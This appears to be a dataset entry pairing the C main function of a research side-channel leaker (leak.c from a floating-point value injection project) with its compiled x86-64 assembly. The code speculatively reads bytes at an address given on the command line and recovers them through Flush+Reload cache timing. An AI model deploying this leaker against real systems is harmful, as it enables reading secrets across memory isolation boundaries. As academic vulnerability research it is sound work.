// File: /workspace/github_c_makefile_star2_O2/vusec[P]fpvi-scsb/leakers/fp/leak.c
// Function: main
int main(int argc, char **argv)
{
    uint64_t leak_addr;
    uint32_t leak_length;
    uint8_t *leak_ptr;
    int ret;

    if (argc > 2)
    {
        sscanf(argv[1], "0x%lx", &leak_addr);
        sscanf(argv[2], "%d", &leak_length);
        leak_ptr = (uint8_t *) leak_addr;
    }
    else
    {
        leak_ptr = "This is a test to verify that it leaks";
        leak_length = strlen(leak_ptr);
    }

    /* Setup */
    __attribute__((aligned(4096))) size_t results[LEAK_SIZE] = {0};
    unsigned char *reload_buf   = (unsigned char *) mmap(NULL, LEAK_SIZE*STRIDE, PROT_READ | PROT_WRITE,
                                                         MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_HUGETLB, -1, 0);
    assert(reload_buf != MAP_FAILED);

    for(int i=0; i<leak_length; i++)
    {
        memset(results, 0, sizeof(results));

        for(int j=0; j<ITER; j++)
        {
            flush(reload_buf);
            fp_leak(reload_buf, leak_ptr+i);
            reload(reload_buf, results);
        }

        printf("0x%016lx :\n", (uint64_t)(leak_ptr+i));
        print_results(results, ITER/10);
    }

    return 0;    
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
andq $-0x1000, %rsp          # imm = 0xF000
subq $0x2000, %rsp           # imm = 0x2000
cmpl $0x3, %edi
jl 0x401274
movq %rsi, %rbx
movq 0x8(%rsi), %rdi
leaq 0xdd4(%rip), %rsi       # 0x402017
leaq 0xff8(%rsp), %r14
movq %r14, %rdx
xorl %eax, %eax
callq 0x401070
movq 0x10(%rbx), %rdi
leaq 0xdbd(%rip), %rsi       # 0x40201d
leaq 0xfec(%rsp), %rdx
xorl %eax, %eax
callq 0x401070
movq (%r14), %rax
jmp 0x401286
movl $0x26, 0xfec(%rsp)
leaq 0xd9a(%rip), %rax       # 0x402020
movq %rax, 0xff0(%rsp)
pushq $0x3
popq %rdx
pushq $-0x1
popq %r8
movl $0x40000, %esi          # imm = 0x40000
xorl %edi, %edi
movl $0x48022, %ecx          # imm = 0x48022
xorl %r9d, %r9d
callq 0x401030
cmpq $-0x1, %rax
je 0x4013be
movq %rax, %rbx
leaq 0x1000(%rsp), %r13
pushq $0xd
popq %r12
xorl %r15d, %r15d
movl 0xfec(%rsp), %eax
cmpq %rax, %r15
jae 0x4013ad
xorl %r14d, %r14d
movl $0x800, %edx            # imm = 0x800
movq %r13, %rdi
xorl %esi, %esi
callq 0x401060
movq 0xff0(%rsp), %rax
leaq (%rax,%r15), %r13
cmpl $0x3e8, %r14d           # imm = 0x3E8
je 0x401381
xorl %eax, %eax
cmpq $0x40000, %rax          # imm = 0x40000
je 0x401319
leaq (%rbx,%rax), %rcx
clflush (%rcx)
addq $0x400, %rax            # imm = 0x400
jmp 0x401302
mfence
movq %rbx, %rdi
movq %r13, %rsi
callq 0x401400
mfence
movq %r12, %rdi
cmpq $0xa70d, %rdi           # imm = 0xA70D
je 0x401379
movzbl %dil, %r8d
movl %r8d, %r9d
shll $0xa, %r9d
rdtscp
movq %rdx, %rsi
shlq $0x20, %rsi
orq %rax, %rsi
movb (%rbx,%r9), %al
rdtscp
shlq $0x20, %rdx
orq %rax, %rdx
subq %rsi, %rdx
cmpq $0x9f, %rdx
ja 0x401370
incq 0x1000(%rsp,%r8,8)
addq $0xa7, %rdi
jmp 0x40132d
incl %r14d
jmp 0x4012f3
leaq 0xcf6(%rip), %rdi       # 0x40207e
movq %r13, %rsi
xorl %eax, %eax
callq 0x401040
leaq 0x1000(%rsp), %r13
movq %r13, %rdi
pushq $0x64
popq %rsi
callq 0x4011a8
incq %r15
jmp 0x4012c5
xorl %eax, %eax
leaq -0x28(%rbp), %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
leaq 0xc82(%rip), %rdi       # 0x402047
leaq 0xc94(%rip), %rsi       # 0x402060
leaq 0xc94(%rip), %rcx       # 0x402067
pushq $0x2b
popq %rdx
callq 0x401050
nopw %cs:(%rax,%rax)
nopw %cs:(%rax,%rax)
nopw %cs:(%rax,%rax)
nopl (%rax)